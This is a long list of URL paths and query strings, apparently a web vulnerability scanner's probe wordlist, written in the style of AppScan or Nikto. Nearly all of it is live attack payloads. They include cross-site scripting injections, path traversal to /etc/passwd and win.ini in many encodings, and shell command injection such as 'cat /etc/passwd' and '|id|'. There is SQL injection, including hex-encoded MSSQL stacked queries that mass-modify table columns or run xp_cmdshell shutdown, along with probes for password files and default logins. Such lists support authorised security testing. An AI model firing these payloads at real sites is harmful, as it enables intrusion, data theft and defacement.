/go.php?url=php://filter/resource=file:///C:\winnt\win.ini%00&untrusted=1
/goform/CheckLogin?login=root&password=tslinux
/graph.php?local_graph_id=1
/graph.php?local_graph_id=1&rra_id=34&action=properties&view_type=token%27%3E%3Cscript%3Ealert%289670%29%3C%2Fscript%3E
/graph_view.php?action=list&page=1&host_id=0&graph_template_id=8&filter=onmouseover%3Djavascript%3Aalert%289672%29
/graph_view.php?action=preview&style=selective&graph_list=AppScan%27
/graphics/
/graphs/
/grocery/
/group.nsf
/group/
/groupcp.php?mode%5B%5D=
/groups.nsf
/groups/
/guest/
/guestbook
/guestbook.cgi
/guestbook/
/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E
/guestbook/admin.php
/guestbook/admin/o12guest.mdb
/guestbook/guestbook.html
/guestbook/guestbookdat
/guestbook/pwd
/guests
/guests/
/guide/
/gxapp/
/h1/
/h_goster.asp?id='
/hall.php?file=
/hall.php?page=
/handlinger.php?vis=
/hc/hc?d=mes&x=20433&ntb=12345
/head.php?*[*]*=
/head.php?abre=
/head.php?adresa=
/head.php?b=
/head.php?base_dir=
/head.php?c=
/head.php?choix=
/head.php?cmd=
/head.php?content=
/head.php?corpo=
/head.php?d=
/head.php?dir=
/head.php?disp=
/head.php?ev=
/head.php?filepath=
/head.php?g=
/head.php?goto=
/head.php?inc=
/head.php?incl=
/head.php?include=
/head.php?index=
/head.php?ir=
/head.php?ki=
/head.php?lang=
/head.php?left=
/head.php?load=
/head.php?loader=
/head.php?loc=
/head.php?middle=
/head.php?middlePart=
/head.php?mod=
/head.php?modo=
/head.php?module=
/head.php?numero=
/head.php?oldal=
/head.php?opcion=
/head.php?pag=
/head.php?pageweb=
/head.php?play=
/head.php?pname=
/head.php?pollname=
/head.php?read=
/head.php?ref=
/head.php?rub=
/head.php?sec=
/head.php?sekce=
/head.php?sivu=
/head.php?start=
/head.php?str=
/head.php?strona=
/head.php?tipo=
/head.php?viewpage=
/head.php?where=
/head.php?y=
/head/
/header.inc.php?site_name=%3C%2Ftitle%3E%3Cscript%3Ealert%283246%29%3C%2Fscript%3E
/header.php?abspath=
/header.php?header.php
/header/
/headers/
/headeruserdata.php?groupname=%27
/headeruserdata.php?groupname='generate%20sql%20error405177102589
/help
/help.html
/help.php?LANG%5BDEFAULT_BRANDING%5D=%3Cscript%3Ealert%289000%29%3C%2Fscript%3E
/help.php?chapter=<script>alert('Vulnerable')</script>
/help.php?css_path=
/help/
/help/contents.htm
/help/domguide.nsf
/help/dspug.nsf
/help/help4.nsf
/help/helpadmin.nsf
/help/helplt4.nsf
/help/home.html
/help/internet.nsf
/help/javapg.nsf
/help/lccon.nsf
/help/migrate.nsf
/help/npn_admn.nsf
/help/npn_rn.nsf
/help/readmec.nsf
/help/readmes.nsf
/help/smhelp.nsf
/help/srvinst.nsf
/help/wwhelp/wwhimpl/js/html/wwhelp.htm
/help4.nsf
/help5_admin.nsf
/help5_client.nsf
/help5_designer.nsf
/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../../../etc/passwd
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=
/helpadmin.nsf
/helpdesk/
/helpdesk/install.php
/helperfunction.php
/helplt4.nsf
/hidden.nsf
/hidden/
/hide/
/hilfe.php?chapter=%22%2Bonmouseover%3Dalert%289244%29%2B
/hints.cgi
/hints.pl
/hints/1311792264.cgi
/hints/84586703.pl
/hints/hints.cgi
/hints/hints.pl
/hippa/
/hire/
/history/
/historytemplate.php?cms[support]=1&cms[tngpath]=
/hit.php
/hit_matic/
/hit_tracker/
/hitmatic/
/hitmatic/1584640165.cgi
/hitmatic/analyse.cgi
/hits.php?&hits=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/hits.txt
/hitview.cgi
/hlstats.php/%3e%22%3e%3cscript%3ealert(8952)%3c%2fscript%3e
/hlstats.php?mode=admin&act_sort=description&act_sortorder=asc&weap_sort=code&weap_sortorder=asc
/hlstats/
/hobbit.txt
/hola/admin/cms/htmltags.php?datei=./sec/data.php
/home
/home.php?a=
/home.php?act=
/home.php?action=
/home.php?action=results&poll_id=-9999%27
/home.php?addr=
/home.php?arg=
/home.php?arsc_language=elvish
/home.php?base_dir=
/home.php?basepath=
/home.php?body=
/home.php?category=
/home.php?channel=
/home.php?chapter=
/home.php?choix=
/home.php?cmd=
/home.php?content=
/home.php?disp=
/home.php?doshow=
/home.php?e=
/home.php?ev=
/home.php?eval=
/home.php?func=
/home.php?g=
/home.php?h=
/home.php?i=
/home.php?in=
/home.php?inc=
/home.php?include=
/home.php?index=
/home.php?ir=
/home.php?itemnav=
/home.php?k=
/home.php?link=
/home.php?ln=
/home.php?loader=
/home.php?loc=
/home.php?ltr=
/home.php?menu=
/home.php?middle=
/home.php?middlePart=
/home.php?module=
/home.php?my=
/home.php?oldal=
/home.php?opcion=
/home.php?pa=
/home.php?pag=
/home.php?page=
/home.php?pageweb=
/home.php?pagina=
/home.php?panel=
/home.php?path=
/home.php?play=
/home.php?pollname=
/home.php?pr=
/home.php?pre=
/home.php?qry=
/home.php?read=
/home.php?recipe=
/home.php?redirect=
/home.php?ref=
/home.php?rub=
/home.php?sec=
/home.php?secao=
/home.php?section=
/home.php?seite=
/home.php?sekce=
/home.php?showpage=
/home.php?sit=
/home.php?sp=
/home.php?str=
/home.php?table=
/home.php?thispage=
/home.php?tipo=
/home.php?w=
/home.php?where=
/home.php?x=
/home.php?z=
/home/
/home/rss.php/</a>%3Cscript%3Ealert(xss)%3C/script%3E
/home1.php?ln=
/home2.php?ln=
/homebet/homebet.dll?form=menu&amp;option=menu-signin
/homebet/homebet.log
/homepage.nsf
/homepage.php?sel=
/homepage/
/horde/
/horde/admin/css/2029707202.php
/horde/admin/css/index.php?file=../../../../../../../../../etc/passwd
/horde/imp/test.php
/horde/test.php
/horde/test.php?mode=phpinfo
/host-manager/html/add?name=%3Cscript%3Ealert%289902%29%3C%2Fscript%3E&aliases=AppScan
/hostadmin/?page='
/hostingcontroller/
/hostingcontroller/SQLServ/1174978218.asp
/hostingcontroller/SQLServ/sqlbrowse.asp
/hostingcontroller/adminsettings/2088165371.asp
/hostingcontroller/adminsettings/browsedisk.asp
/hostingcontroller/adminsettings/browsewebalizerexe.asp
/hostingcontroller/autosignup/1826018538.asp
/hostingcontroller/autosignup/dsp_newwebadmin.asp
/hostingcontroller/serv_u/60169332.asp
/hostingcontroller/serv_u/servubrowse.asp
/hostingcontroller/stats/1369340905.asp
/hostingcontroller/stats/statsbrowse.asp
/howitworks/
/howto/
/hp-ux/
/hp/device/this.LCDispatcher
/hp_docs/
/hp_docs/cgi-bin/index.cgi
/hp_docs/xmltools/
/hsx/classifieds.hsx?db=%22%3Cscript%3Ealert(1)%3C/script%3E%3C%22
/ht/
/ht_root/wwwroot/-/local/httpd$map.conf
/htaccess
/htaccess.bak
/htaccess.old
/htaccess.php?plan_id=%27
/htaccess.php?plan_id=35&domain=%27
/htaccess/dohtaccess.html?dir=%3E%3Cscript%3Ealert(xss)%3C/script%3E
/htaccess~
/htbin/
/htbin/.cobalt/
/htbin/.cobalt/cpuUsage/loadavg.cgi
/htbin/.cobalt/networker/networker.cgi
/htbin/.cobalt/telnetUsage/telnetUsage.cgi
/htbin/DCShop/auth_data/auth_user_file.txt
/htbin/DCShop/orders/orders.txt
/htbin/admin/classes/minixml/classes/doc.inc.php
/htbin/admin/classes/minixml/classes/element.inc.php
/htbin/admin/classes/minixml/classes/node.inc.php
/htbin/c32web.exe/CheckError?error=53
/htbin/c32web.exe/ShowAdminDir
/htbin/campas?%0a/bin/cat%0a/etc/passwd
/htbin/cart.pl
/htbin/cart32.exe
/htbin/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/htbin/cart32.exe/error
/htbin/cgiemail/XXnonexistentXX
/htbin/counterfiglet/nc/f
/htbin/csvform.pl?file=cat%20/etc/passwd%00|
/htbin/faxsurvey?cat%20/etc/passwd
/htbin/gettransbitmap?NONEXISTENTPAGE
/htbin/mailfile.cgi
/htbin/ndCGI.exe/
/htbin/orders/orders.txt
/htbin/replicator/webpage.cgi/313373/ukr.htm
/htbin/shop.pl/page=;cat%20shop.pl
/htbin/shop/auth_data/auth_user_file.txt
/htbin/shop/orders/orders.txt
/htbin/webplus.exe?about
/htbin/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/htbin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/htdocs
/htdocs/
/htdocs/../../../../../../../../../../../../etc/passwd
/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
/htgroup
/htgroup.bak
/htgroup.old
/htgroup~
/htm/
/html
/html/
/html/890064957.php
/html/affich.php?base=
/html/cgi-bin/cgicso?query=<script>alert('Vulnerable')</script>
/html/cgi-bin/cgicso?query=AAA
/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>
/html/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id=5&title=%253cscript%3Ealert%2528document.cookie);%253c/script%3E
/html/modules/Xanthia/934509373.php
/html/modules/Xanthia/pnuserapi.php
/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>
/htmldocs/
/htmltonuke.php
/htmltonuke.php?filnavn=
/htpasswd
/htpasswd.bak
/htpasswd.old
/htpasswd~
/htsrv/login.php?redirect_to=%22onmouseover=%22alert(xss)
/http/
/httpacl/
/https-admserv/bin/index?/<script>alert(document.cookie)</script>
/hv/ecdis/1871372482.php
/hv/ecdis/pages.php?idpages='
/hv/ecdis/products1.php?id=6&id2='&subcat=Asus&p=products1
/hyperstat/
/hyperstat/1816524448.log
/hyperstat/stat_what.log
/i-build/
/i-mall/
/i-mall/137615681.cgi
/i-mall/i-mall.cgi?p=
/i-mall/i-mall.cgi?p=|id|
/iNotes/Forms5.nsf
/iNotes/Forms5.nsf/$DefaultNav
/iart.php?text=%22%3E%3E%3C%3C%3E%3E%22%27%27%3Cscript%3Ealert%2810018%29%3C%2Fscript%3E
/ibi_html/
/ibi_html/workbnch/929080182.htm
/ibi_html/workbnch/wbdadmin.htm
/ibill
/ibill/
/ibmwebas/
/ibmwebas/infocenter/
/icons"><script>alert(097531);</script>
/icons/
/icons/%2e%2e/%2e%2e/%00.jsp
/icons/.DS_Store
/icons/.FBCIndex
/icons/.README
/icons/.README.html
/icons/.access
/icons/.addressbook
/icons/.bash_history
/icons/.bashrc
/icons/.forward
/icons/.htaccess
/icons/.htaccess.old
/icons/.htpasswd
/icons/.passwd
/icons//%22%3e%3cscript%3ealert(32389)%3c/script%3e
/icons//%22%3e%3cscript%3ealert(32395)%3c/script%3e
/icons//%3cimg%20src%3d%22javascript%3aalert(32391)%22%3e
/icons//%3cimg%20src%3d%22javascript%3aalert(32397)%22%3e
/icons//?>'"><script>alert(32393)</script>
/icons//?>'"><script>alert(32399)</script>
/icons//NoneExistent%0d%0aInjectedHeader:%20InjectedValue
/icons//Sites/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/icons//Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/icons//Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/icons//Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/icons//Sites/Samples/Knowledge/Push/ViewCode.asp?file=index.asp
/icons//Sites/Samples/Knowledge/Search/ViewCode.asp?file=index.asp
/icons//siteserver/publishing/viewcode.asp?file=index.asp
/icons/1163666388
/icons/175436043.html
/icons/1983314393/
/icons/421827619.old
/icons/643101395/
/icons/<oot.ini
/icons/>+ACJ-+AD4APB-SCRIPT/TYPE=TEXT/VBSCRIPT+AD7-MSGBOX(123)+AA0APB-/SCRIPT+AD7-
/icons/?>'"><script>alert(32401)</script>
/icons/?>'"><script>alert(32405)</script>
/icons/?C=
/icons/?C="
/icons/?C=%00
/icons/?C=%22%20%7C%20%22id
/icons/?C=%22%20%7C%20%22vol
/icons/?C=%22%27
/icons/?C=%26%26id
/icons/?C=%26%26vol
/icons/?C=%27%20%7C%20%27id
/icons/?C=%27%20%7C%20%27vol
/icons/?C=%27;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0049004D00470020005300520043003D0022002F00570046005F0058005300520046002E00680074006D006C0022003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
/icons/?C=%27;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª650078006500630020006D00610073007400650072002E002E00780070005F0063006D0064007300680065006C006C0020002700730068007500740064006F0077006E0020002D0066002700%20AS%20NVARCHAR(4000));EXEC(@S);--
/icons/?C=%7C%7Cid
/icons/?C=%7C%7Cvol
/icons/?C=%7Cid
/icons/?C=%7Cvol
/icons/?C='
/icons/?C='%20+%20''%20+%20'N;O=D
/icons/?C='%20||%20'N;O=D
/icons/?C=)
/icons/?C=../../../../../../bin/id|
/icons/?C=../../../../../../usr/bin/id|
/icons/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini
/icons/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
/icons/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
/icons/?C=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
/icons/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
/icons/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
/icons/?C=/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
/icons/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
/icons/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
/icons/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
/icons/?C=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini
/icons/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini
/icons/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini
/icons/?C=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini
/icons/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
/icons/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/windows/win.ini
/icons/?C=/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini
/icons/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini
/icons/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini
/icons/?C=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini
/icons/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini
/icons/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini
/icons/?C=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini
/icons/?C=/../../../../../../../../boot.ini
/icons/?C=/../../../../../../../../etc/passwd
/icons/?C=/../../../../../../../../windows/win.ini
/icons/?C=/../../../../../../../../winnt/win.ini
/icons/?C=;
/icons/?C=;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0049004D00470020005300520043003D0022002F00570046005F0058005300520046002E00680074006D006C0022003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);
/icons/?C=;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0ª650078006500630020006D00610073007400650072002E002E00780070005F0063006D0064007300680065006C006C0020002700730068007500740064006F0077006E0020002D0066002700%20AS%20NVARCHAR(4000));EXEC(@S);
/icons/?C=;vol|
/icons/?C=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/icons/?C=AVAK$(RETURN_CODE)OS
/icons/?C=C:\boot.ini
/icons/?C=C:\windows\win.ini
/icons/?C=C:\winnt\win.ini
/icons/?C=D;O=A
